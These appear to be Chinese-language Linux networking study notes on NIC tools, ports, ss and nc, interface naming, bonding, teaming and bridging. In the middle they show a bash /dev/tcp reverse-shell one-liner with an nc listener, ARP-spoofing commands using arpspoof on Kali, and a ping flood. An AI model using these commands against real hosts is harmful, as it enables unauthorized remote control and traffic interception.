网络基础
查看双工和速度
[root@localhost ~]# mii-tool eth0
eth0: negotiated 100baseTx-FD, link ok
[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
product info: vendor 00:07:32, model 17 rev 5
basic mode: autonegotiation enabled
basic status: autonegotiation complete, link ok
capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
[root@centos8 ~]#ethtool -i eth0
driver: vmxnet3
version: 1.4.16.0-k-NAPI
firmware-version:
expansion-rom-version:
bus-info: 0000:03:00.0
supports-statistics: yes
supports-test: no
supports-eeprom-access: no
supports-register-dump: yes
supports-priv-flags: no
[root@centos8 ~]#ethtool eth0
Settings for eth0:
Supported ports: [ TP ]
Supported link modes: 1000baseT/Full
10000baseT/Full
Supported pause frame use: No
Supports auto-negotiation: No
Supported FEC modes: Not reported
Advertised link modes: Not reported
Advertised pause frame use: No
Advertised auto-negotiation: No
Advertised FEC modes: Not reported
Speed: 10000Mb/s
Duplex: Full
Port: Twisted Pair
PHYAD: 0
Transceiver: internal
Auto-negotiation: off
MDI-X: Unknown
Supports Wake-on: uag
Wake-on: d
Link detected: yes
[root@centos8 ~]#mii-tool eth0
SIOCGMIIPHY on 'eth0' failed: Operation not supported
#网络断开的状态
[root@centos8 ~]#mii-tool -v eth1
eth1: no link
product info: Yukon 88E1011 rev 3
basic mode: autonegotiation enabled
basic status: no link
capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
[root@centos8 ~]#ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode
DEFAULT group default qlen 1000
link/ether 00:0c:29:f8:5d:b7 brd ff:ff:ff:ff:ff:ff
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:f8:5d:c1 brd ff:ff:ff:ff:ff:ff
如何判断网线断开
[root@centos8 ~]#mii-tool eth1
root@pve:~# mii-tool enp2s0
enp2s0: negotiated 1000baseT-FD flow-control, link ok
[root@rocky9 ~]# ethtool ens18
Settings for ens18:
Supported ports: [ ]
Supported link modes: Not reported
Supported pause frame use: No
Supports auto-negotiation: No
Supported FEC modes: Not reported
Advertised link modes: Not reported
Advertised pause frame use: No
Advertised auto-negotiation: No
Advertised FEC modes: Not reported
Speed: Unknown!
Duplex: Unknown! (255)
Auto-negotiation: off
Port: Other
PHYAD: 0
Transceiver: internal
Link detected: yes
TCP协议PORT
传输层通过port号,确定应用层协议,范围0-65535
维基百科:https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
IANA互联网数字分配机构负责域名,数字资源,协议分配
0-1023:系统端口或特权端口(仅管理员可用) ,众所周知,永久的分配给固定的系统应用使用,
22/tcp(ssh), 80/tcp(http), 443/tcp(https)
1024-49151:用户端口或注册端口,但要求并不严格,分配给程序注册为某应用使用,
1433/tcp(SqlServer), 1521/tcp(oracle),3306/tcp(mysql),11211/tcp/udp (memcached)
49152-65535:动态或私有端口,客户端随机使用端口,范围定
义:/proc/sys/net/ipv4/ip_local_port_range
范例:调整客户端的动态端口范围
[root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
32768 60999
[root@centos8 ~]#echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
20000 62000
范例:
[root@centos8 ~]#dnf -y install man-pages
[root@centos8 ~]#man 2 socket
[root@centos8 ~]#dnf -y install nc
## 监控所有状态
[root@rocky9 ~]# ss -nta
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
ESTAB 0 0 192.168.5.84:22 192.168.5.25:9991
ESTAB 0 64 192.168.5.84:22 192.168.5.25:10840
ESTAB 0 0 192.168.5.84:22 192.168.5.25:9993
ESTAB 0 0 192.168.5.84:22 192.168.5.25:10841
LISTEN 0 128 [::]:22 [::]:*
## 统计出主机当前状态的各种次数
[root@rocky9 ~]# cut -d" " -f1 ss.log | sed -n '2,$p'|sort | uniq -c
4 ESTAB
2 LISTEN
[root@rocky9 ~]#
[root@rocky9 ~]# cut -d" " -f1 ss.log | tail -n +2|sort | uniq -c
4 ESTAB
2 LISTEN
[root@rocky9 ~]# cut -d" " -f1 ss.log | tail -n +2|sort | uniq -c |sort -nr|head -n2
4 ESTAB
2 LISTEN
#服务器端
[root@centos8 ~]#ss -ntlu
Netid State Recv-Q Send-Q Local Address:Port Peer
Address:Port
tcp LISTEN 0 128 0.0.0.0:22
0.0.0.0:*
tcp LISTEN 0 128 [::]:22
[::]:*
[root@centos8 ~]#nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.
[root@centos8 ~]#nc -l 9527
I am centos7
I am centos8
#客户端
[root@centos7 ~]#nc 10.0.0.8 9527
I am centos7
I am centos8
#再开一个连接失败
[root@centos7 ~]#nc 10.0.0.8 9527
Ncat: Connection refused.
[root@centos8 ~]#ss -nt
State Recv-Q Send-Q Local Address:Port Peer
Address:Port
ESTAB 0 0 10.0.0.8:9527
10.0.0.7:40706
#服务器开启UDP的端口
[root@centos8 ~]#nc -l 7000 -u
#客户端连接
[root@centos7 ~]#nc 10.0.0.8 7000 -u
[root@centos8 ~]#ss -ntu
Netid State Recv-Q Send-Q Local Address:Port
Peer Address:Port
udp ESTAB 0 0 10.0.0.8:7000
10.0.0.7:52667
tcp ESTAB 0 0 10.0.0.8:8000
10.0.0.7:53402
tcp ESTAB 0 52 10.0.0.8:22
10.0.0.1:13305
[wang@centos8 ~]$nc -l 1023
Ncat: bind to :::1023: Permission denied. QUITTING
范例:找到端口冲突的应用程序
[root@centos8 ~]#nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.
[root@centos8 ~]#ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
users:(("sshd",pid=699,fd=4))
LISTEN 0 128 [::]:22 [::]:*
users:(("sshd",pid=699,fd=6))
[root@centos8 ~]#lsof -i :22
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 699 root 4u IPv4 26846 0t0 TCP *:ssh (LISTEN)
sshd 699 root 6u IPv6 26848 0t0 TCP *:ssh (LISTEN)
sshd 1287 root 5u IPv4 29875 0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)
sshd 1300 root 5u IPv4 29875 0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)
范例:判断端口是否正在打开
[root@centos8 ~]#< /dev/tcp/127.0.0.1/80
[root@centos8 ~]#echo $?
0
[root@centos8 ~]#< /dev/tcp/127.0.0.1/8080
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/8080: Connection refused
[root@centos8 ~]#echo $?
1
范例:利用重定向实现上网
[root@centos8 ~]#exec 8<>/dev/tcp/www.baidu.com/80
[root@centos8 ~]#ll /proc/$$/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:14 0 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 1 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 2 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:17 255 -> /dev/pts/0
lr-x------ 1 root root 64 Apr 20 14:14 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Apr 20 14:14 4 -> 'socket:[32754]'
lrwx------ 1 root root 64 Apr 20 14:14 8 -> 'socket:[32777]'
[root@centos8 ~]#echo -e 'GET / HTTP/1.1\n' >& 8
[root@centos8 ~]#cat <& 8
范例:反弹 shell 实现远程控制
#在控制机监听打开端口
[root@centos8 ~]#dnf -y install nc
[root@centos8 ~]#nc -lvp 6666
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
#在被控制机上实现反弹shell
[root@centos7 ~]#bash -i &> /dev/tcp/10.0.0.8/6666 0>&1
#在控制机主机可以观察到以下信息,自动登录到被控制主机,且可以执行命令
常见程序端口号
[root@rocky9 ~l#vim /etc/services
[root@rocky9 ~]# grep 6666 /etc/services 查看端口是否使用
ircu-2 6666/tcp # IRCU
ircu-2 6666/udp # IRCU
vtp 16666/udp # Vidder Tunnel Protocol
最大发包
[root@centos8 ~]#ping -s 65508 10.0.0.8
Error: packet size 65508 is too large. Maximum is 65507
[root@centos8 ~]#ping -f -s 65507 172.18.0.200
PING 172.18.0.200 (172.18.0.200) 65507(65535) bytes of data.
ARP
范例:ARP 表
[root@magedu ~]#ip neigh
192.168.1.110 dev eth0 lladdr 60:02:b4:e3:8a:c0 STALE
192.168.1.156 dev eth0 lladdr 50:01:d9:8a:1d:3f STALE
192.168.1.114 dev eth0 lladdr 40:8d:5c:e1:97:34 STALE
192.168.1.118 dev eth0 lladdr 94:65:2d:38:44:82 STALE
[root@magedu ~]#arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.110 ether 60:02:b4:e3:8a:c0 C eth0
192.168.1.156 ether 50:01:d9:8a:1d:3f C eth0
192.168.1.114 ether 40:8d:5c:e1:97:34 C eth0
192.168.1.118 ether 94:65:2d:38:44:82 C eth0
ARP静态绑定可以防止ARP欺骗
[root@centos8 ~]#arp -s 10.0.0.6 00:0c:29:32:80:38
[root@centos8 ~]#arp -n
Address HWtype HWaddress Flags Mask Iface
10.0.0.6 ether 00:0c:29:32:80:38 CM eth0
10.0.0.7 ether 00:0c:29:32:80:38 C eth0
10.0.0.1 ether 00:50:56:c0:00:08 C eth0
kali 系统实现 arp 欺骗上网流量劫持
#启动路由转发功能
[root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward
#安装包
[root@kali ~]# apt-get install dsniff
#欺骗目标主机,本机是网关
[root@kali ~]# arpspoof -i eth0 -t 被劫持的目标主机IP 网关IP
#欺骗网关,本机是目标主机
[root@kali ~]# arpspoof -i eth0 -t 网关IP 被劫持的目标主机IP
检测mac地址是否冲突
ss 命令
来自于iproute包,代替netstat,netstat 通过遍历 /proc来获取 socket信息,ss 使用 netlink与内核
tcp_diag 模块通信获取 socket 信息
格式:
ss [OPTION]... [FILTER]
选项:
-t: tcp协议相关
-u: udp协议相关
-w: 裸套接字相关
-x:unix sock相关
-l: listen状态的连接
-a: 所有
-n: 数字格式
-p: 相关的程序及PID
-e: 扩展的信息
-m:内存用量
-o:计时器信息
常用组合:
-tan, -tanl, -tanlp, -uan
范例:常见用法
#显示本地打开的所有端口
ss -l
#显示每个进程具体打开的socket
ss -pl
#显示所有tcp socket
ss -t -a
#显示所有的UDP Socekt
ss -u -a
#显示所有已建立的ssh连接
ss -o state established '( dport = :ssh or sport = :ssh )'
#显示所有已建立的HTTP连接
ss -o state established '( dport = :http or sport = :http )'
[root@centos8 ~]#ss -no state established '( dport = :21 or sport = :21 )'
主机名称
CentOS 6
CentOS 7
网卡名称
CentOS 6 之前版本网卡名称
接口命名方式:CentOS 6
以太网:eth[0,1,2,...]
ppp:ppp[0,1,2,...]
网络接口识别并命名相关的udev配置文件:
/etc/udev/rules.d/70-persistent-net.rules
查看网卡:
dmesg |grep –i eth
ethtool -i eth0
卸载网卡驱动:
modprobe -r e1000
rmmod e1000
装载网卡驱动:
modprobe e1000
范例:临时修改网卡名称
[root@centos6 ~]#ip link set eth0 down
[root@centos6 ~]#ip link set eth0 name abc
[root@centos6 ~]#ip link set abc up
CentOS 7 以上版网络配置
CentOS 6之前,网络接口使用连续号码命名:eth0、eth1等,当增加或删除网卡时,名称可能会发生变
化
CentOS 7 以上版使用基于硬件,设备拓扑和设置类型命名,可以保持网卡名称的稳定
CentOS 8 中已弃用network.service,采用NetworkManager(NM)为网卡启用命令。CentOS 8 仍可
以安装network.service作为网卡服务,只是默认没有安装,具体方法为: dnf install network-
scripts ,不过官方已明确在下一个大版本中,将彻底放弃network.service,不建议继续使用
network.service管理网络。
systemd对网络设备的命名方式
systemd对网络设备的命名方式
- 如果Firmware或BIOS为主板上集成的设备提供的索引信息可用,且可预测则根据此索引进行命 名,如:eno1
- 如果Firmware或BIOS为PCI-E扩展槽所提供的索引信息可用,且可预测,则根据此索引进行命名, 如:ens1
- 如果硬件接口的物理位置信息可用,则根据此信息命名,如:enp2s0
- 如果用户显式启动,也可根据MAC地址进行命名,如:enx2387a1dc56
- 上述均不可用时,则使用传统命名机制
基于BIOS支持启用biosdevname软件
内置网卡:em1,em2
pci卡:pYpX Y:slot ,X:port
网卡组成格式
en: Ethernet 有线局域网
wl: wlan 无线局域网
ww: wwan无线广域网
o<index>: 集成设备的设备索引号
s<slot>: 扩展槽的索引号
x<MAC>: 基于MAC地址的命名
p<bus>s<slot>: enp2s1
使用传统命名方式:
(1) 编辑/etc/default/grub配置文件
GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"
(2) 为grub2生成其配置文件
On a system with UEFI boot mode:
# grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg
On a system with legacy boot mode:
# grub2-mkconfig -o /boot/grub2/grub.cfg
# grub2-mkconfig -o /etc/grub2.cfg
#修改网卡名称
[root@rocky8 ~]#sed -ri '/GRUB_CMDLINE_LINUX=/s#(.*)"$#\1 net.ifnames=0"#' /etc/default/grub
[root@rocky8 ~]#grub2-mkconfig -o /boot/grub2/grub.cfg
[root@rocky8 ~]#reboot
ubuntu grub-mkconfig -o /boot/grub/grub.cfg
(3) 重启系统
reboot
自定义网卡名
GRUB_CMDLINE_LINUX="... net.ifnames.prefix=<required prefix>"
范例: 自定义网卡名
root@centos8 ~]# vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames.prefix=wang"
[root@centos8 ~]# grub2-mkconfig -o /boot/grub2/grub.cfg
[root@centos8 ~]# reboot
[root@centos8 ~]# ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: wang0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:15:9b:83 brd ff:ff:ff:ff:ff:ff
3: wang1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:15:9b:8d brd ff:ff:ff:ff:ff:ff
不重启办法 范例:
#禁用网卡
ip link set eth1 down
#网卡改名
ip link set eth1 name wangnet
#启用网卡
ip link set wangnet up
#网卡别名
ip addr add 172.16.100.100/16 dev eth0 label eth0:0
ip addr del 172.16.100.100/16 dev eth0 label eth0:0
#清除网络地址
ip addr flush dev eth0
获取IP地址
动态获取
[root@centos8 network-scripts]# vim ifcfg-eth0
写入以下三行即可
DEVICE=eht0
NAME=eth0
BOOTPROTO=dhcp
静态获取
DEVICE=eht0
NAME=eth0
BOOTPROTO=static 或none
IPADDR=10.0.0.88
NETMASK=255.255.255.0
或
PREFIX=24
GATEWAT=10.0.0.1
DNS1=114.114.114.114
DNS2=8.8.8.8
然后执行
[rooterocku8network-scriptsl]# nmcli connection reload
[rooterocku8network-scriptsl]# nmcli connection up eth0
如果是centos7则
systemctl restart network
网关验证
route -n
路由相关的配置文件
etc/sysconfig/network-scripts/route-IFACE
两种风格:
(1) TARGET via GW
如:10.0.0.0/8 via 172.16.0.1
(2) 每三行定义一条路由
ADDRESS#=TARGET
NETMASK#=mask
GATEWAY#=GW
范例: CentOS7 创建/etc/sysconfig/static-routes文件添加持久静态路由
网卡别名
将多个IP地址绑定到一个NIC上
每个IP绑定到独立逻辑网卡,即网络别名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3
范例:ifconfig 命令
ifconfig eth0:0 192.168.1.100/24 up
ifconfig eth0:0 down
范例:ip 命令
ip addr add 172.16.1.1/16 dev eth0
ip addr add 172.16.1.2/16 dev eth0 label eth0:0
ip addr del 172.16.1.2/16 dev eth0 label eth0:0
ip addr flush dev eth0 label eth0:0
为每个设备别名生成独立的接口配置文件,格式为:ifcfg-ethX:xxx
范例: 给 lo 网卡加别名(此方式不适用于CentOS8)
[root@centos7 network-scripts]#pwd
/etc/sysconfig/network-scripts
[root@centos7 network-scripts]#cat ifcfg-lo:1
DEVICE=lo:1
IPADDR=137.0.0.1
NETMASK=255.0.0.0
NETWORK=137.0.0.0
# If you're having problems with gated making 127.0.0.0/8 a martian,
# you can change this to something else (255.255.255.255, for example)
BROADCAST=137.255.255.255
ONBOOT=yes
NAME=loopback1
[root@centos7 network-scripts]#ip addr show lo
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet 137.0.0.1/8 brd 137.255.255.255 scope global lo:1
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
范例:
[root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
DEVICE=eth0:1
IPADDR=10.0.0.100
PREFIX=8
[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
RX packets 2320 bytes 200266 (195.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1891 bytes 279736 (273.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
方法一 永久添加网卡别名
修改配置文件
方法二只改一个配置文件
CentOS网卡配置文件生效方法
CentOS6
service network restart
CentOS7
systemctl restart network
CentOS8和rocky
nmcli connnection reload
nmcli connnettion up eth0
#通用
reboot
多网卡 bonding
将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一IP 地址是不可以的。通过 bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址
Bonding 聚合链路工作模式
bond聚合链路模式共7种模式:0-6 Mode
- mod=0 ,即:(balance-rr) Round-robin policy(轮询)聚合口数据报文按包轮询从物理接口转 发。 负载均衡—所有链路处于负载均衡状态,轮询方式往每条链路发送报文这模式的特点增加了带宽, 同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。 性能问题—一个连接或者会话的数据包如果从不同的接口发出的话,中途再经过不同的链路,在客 户端很有可能会出现数据包无序到达的问题,而无序到达的数据包需要重新要求被发送,这样网络 的吞吐量就会下降。Bond0在大压力的网络传输下,性能增长的并不是很理想。 需要交换机进行端口绑定
- mod=1,即: (active-backup) Active-backup policy(主-备份策略)只有Active状态的物理接口 才转发数据报文。 容错能力—只有一个slave是激活的(active)。也就是说同一时刻只有一个网卡处于工作状态,其他 的slave都处于备份状态,只有在当前激活的slave故障后才有可能会变为激活的(active)。 无负载均衡—此算法的优点是可以提供高网络连接的可用性,但是它的资源利用率较低,只有一个 接口处于工作状态,在有 N 个网络接口的情况下,资源利用率为1/N。
- mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口数据报文按源目MAC、源目IP、源目 端口进行异或HASH运算得到一个值,根据该值查找接口转发数据报文 负载均衡—基于指定的传输HASH策略传输数据包。 容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常 的链路上。 性能问题—该模式将限定流量,以保证到达特定对端的流量总是从同一个接口上发出。既然目的地 是通过MAC地址来决定的,因此该模式在“本地”网络配置下可以工作得很好。如果所有流量是通过 单个路由器,由于只有一个网关,源和目标mac都固定了,那么这个算法算出的线路就一直是同一 条,那么这种模式就没有多少意义了。 需要交换机配置为port channel
- mod=3,即:broadcast(广播策略)这种模式的特点是一个报文会复制两份往bond下的两个接 口分别发送出去, 当有对端交换机失效,感觉不到任何downtime,但此法过于浪费资源;不过这种模式有很好的容 错机制。此模式适用于金融行业,因为他们需要高可靠性的网络,不允许出现任何问题。
- mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 动态链接聚合) 在动态聚合模式下,聚合组内的成员端口上均启用LACP(链路汇聚控制协议)协议,其端口状态 通过该协议自动进行维护。 负载均衡—基于指定的传输HASH策略传输数据包。默认算法与blance-xor一样。 容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常 的链路上。对比blance-xor,这种模式定期发送LACPDU报文维护链路聚合状态,保证链路质量。 需要交换机支持LACP协议
- mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均衡) 在每个物理接口上根据当前的负载(根据速度计算)分配外出流量。如果正在接收数据的物理接口 口出故障了,另一个物理接口接管该故障物理口的MAC地址。 需要ethtool支持获取每个slave的速率
- mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡) 该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡,而且不需要任何 switch(交换机)的支持。接收负载均衡是通过ARP协商实现的。bonding驱动截获本机发送的ARP应 答,并把源硬件地址改写为bond中某个物理接口的唯一硬件地址,从而使得不同的对端使用不同 的硬件地址进行通信。
- mod=6与mod=0的区别:mod=6,先把eth0流量占满,再占eth1,….ethX;而mod=0的话,会 发现2个口的流量都很稳定,基本一样的带宽。而mod=6,会发现第一个口流量很高,第2个口只 占了小部分流量 说明:
常用的模式为 0,1,3,6
mode 1、5、6 不需要交换机设置
mode 0、2、3、4需要交换机设置
active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需
要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模式
4中需要 LACP和 EtherChannel
Bonding 配置
详细帮助:
/usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
https://www.kernel.org/doc/Documentation/networking/bonding.txt
创建bonding设备的配置文件
etc/sysconfig/network-scripts/ifcfg-bond0
NAME=bond0
TYPE=bond
DEVICE=bond0
BOOTPROTO=none
IPADDR=10.0.0.100
PREFIX=8
#miimon指定链路监测时间间隔。如果miimon=100,那么系统每100ms 监测一次链路连接状态,如果有一
条线路不通就转入另一条线路
BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"
/etc/sysconfig/network-scripts/ifcfg-eth0
NAME=eth0
DEVICE=eth0
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes
/etc/sysconfig/network-scripts/ifcfg-eth1
NAME=eth1
DEVICE=eth1
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes
nmcli connnection reload
nmcli connnettion up bond0
nmcli connnettion up eth0
查看bond0状态:
/proc/net/bonding/bond0
删除bond0
ifconfig bond0 down
rmmod bonding
nmcli实现 bonding
#添加bonding接口
nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
ipv4.method manual ipv4.addresses 10.0.0.100/24
#添加从属接口
nmcli con add type bond-slave ifname ens7 master bond0
nmcli con add type bond-slave ifname ens3 master bond0
#注:如无为从属接口提供连接名,则该名称是接口名称加类型构成
#要启动绑定,则必须首先启动从属接口
nmcli con up bond-slave-eth0
nmcli con up bond-slave-eth1
#启动绑定
nmcli con up mybond0
网络组 Network Teaming
网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量
网络组不同于旧版中bonding技术,提供更好的性能和扩展性
网络组由内核驱动和teamd守护进程实现
多种方式 runner
- broadcast
- roundrobin
- activebackup
- loadbalance
- lacp (implements the 802.3ad Link Aggregation Control Protocol) 网络组特点
- 启动网络组接口不会自动启动网络组中的port接口
- 启动网络组接口中的port接口总会自动启动网络组接口
- 禁用网络组接口会自动禁用网络组中的port接口
- 没有port接口的网络组接口可以启动静态IP连接
- 启用DHCP连接时,没有port接口的网络组会等待port接口的加入
#创建网络组接口
nmcli con add type team con-name CNAME ifname INAME [config JSON]
CNAME 连接名
INAME 接口名
JSON 指定runner方式,格式:'{"runner": {"name": "METHOD"}}'
METHOD 可以是broadcast, roundrobin, activebackup, loadbalance, lacp
#创建port接口
nmcli con add type team-slave con-name CNAME ifname INAME master TEAM
CNAME 连接名,连接名若不指定,默认为team-slave-IFACE
INAME 网络接口名
TEAM 网络组接口名
#断开和启动
nmcli dev dis INAME
nmcli con up CNAME
INAME 设备名 CNAME 网络组接口名或port接口
网络组示例
nmcli con add type team con-name myteam0 ifname team0 config '{"runner": {"name":
"loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0
nmcli con up myteam0
nmcli con up team0-eth1
nmcli con up team0-eth2
teamdctl team0 state
ping -I team0 192.168.0.254
nmcli dev dis eth1
teamdctl team0 state
nmcli con up team0-port1
nmcli dev dis eth2
teamdctl team0 state
nmcli con up team0-port2
teamdctl team0 state
管理网络组配置文件
/etc/sysconfig/network-scripts/ifcfg-team0
DEVICE=team0
DEVICETYPE=Team
TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
BOOTPROTO=none
IPADDR0=172.16.0.100
PREFIX0=24
NAME=team0
ONBOOT=yes
管理网络组配置文件
/etc/sysconfig/network-scripts/ifcfg-team0-eth1
DEVICE=eth1
DEVICETYPE=TeamPort
TEAM_MASTER=team0
NAME=team0-eth1
ONBOOT=yes
删除网络组
nmcli connection down team0
teamdctl team0 state
nmcli connection show
nmcli connectioni delete team0-eth0
nmcli connectioni delete team0-eth1
nmcli connection show
网桥(交换机)
桥接原理
桥接:把一台机器上的若干个网络接口“连接”起来。其结果是,其中一个网口收到的报文会被复制给其
他网口并发送出去。以使得网口之间的报文能够互相转发。网桥就是这样一个设备,它有若干个网口,
并且这些网口是桥接起来的。与网桥相连的主机就能通过交换机的报文转发而互相通信。
主机A发送的报文被送到交换机S1的eth0口,由于eth0与eth1、eth2桥接在一起,故而报文被复制到
eth1和eth2,并且发送出去,然后被主机B和交换机S2接收到。而S2又会将报文转发给主机C、D
CentOS 8 取消brctl 工具,可以用下面方法查看网桥
#查看桥接情况
[root@centos8 ~]#ip link show master virbr0
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc fq_codel master virbr0 state
DOWN mode DEFAULT group default qlen 1000
link/ether 52:54:00:52:f2:5c brd ff:ff:ff:ff:ff:ff
8: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master
virbr0 state UNKNOWN mode DEFAULT group default qlen 1000
link/ether fe:54:00:95:25:fb brd ff:ff:ff:ff:ff:ff
9: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master
virbr0 state UNKNOWN mode DEFAULT group default qlen 1000
link/ether fe:54:00:83:9d:51 brd ff:ff:ff:ff:ff:ff
[root@centos8 ~]#bridge link show
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 master virbr0 state disabled
priority 32 cost 100
8: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
forwarding priority 32 cost 100
9: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
forwarding priority 32 cost 100
配置实现网桥
工具包:bridge-utils,目前 CentOS 8 系统光盘里无此包,EPEL源有此包
yum install bridge-utils
#查看网桥
brctl show
#查看CAM(content addressable memory内容可寻址存储器)表
brctl showmacs br0
#添加和删除网桥
brctl addbr | delbr br0
#添加和删除网桥中网卡
brctl addif | delif br0 eth0
#默认br0 是down,必须启用
ifconfig br0 up
#启用STP
[root@centos7 ~]#brctl show
bridge name bridge id STP enabled interfaces
br0 8000.000c297e67a3 no eth1
eth2
[root@centos7 ~]#brctl stp br0 on
[root@centos7 ~]#brctl show
bridge name bridge id STP enabled interfaces
br0 8000.000c297e67a3 yes eth1
eth2
注意:NetworkManager只支持以太网接口连接到网桥,不支持聚合接口
nmcli con add con-name mybr0 type bridge ifname br0
nmcli con modify mybr0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
nmcli con add con-name br0-port0 type bridge-slave ifname eth0 master br0
查看配置文件
cat /etc/sysconfig/network-scripts/ifcfg-br0
cat /etc/sysconfig/network-scripts/ifcfg-br0-port0
范例:nmcli实现网桥
#1创建网桥
nmcli con add type bridge con-name br0 ifname br0
nmcli connection modify br0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
nmcli con up br0
#2加入物理网卡
nmcli con add type bridge-slave con-name br0-port0 ifname eth0 master br0
nmcli con add type bridge-slave con-name br0-port1 ifname eth1 master br0
nmcli con up br0-port0
nmcli con up br0-port1
#3查看网桥配置文件(写入文件)
cat /etc/sysconfig/network-scripts/ifcfg-br0
DEVICE=br0
STP=yes
TYPE=Bridge
BOOTPROTO=static
IPADDR=10.0.0.100
PREFIX=24
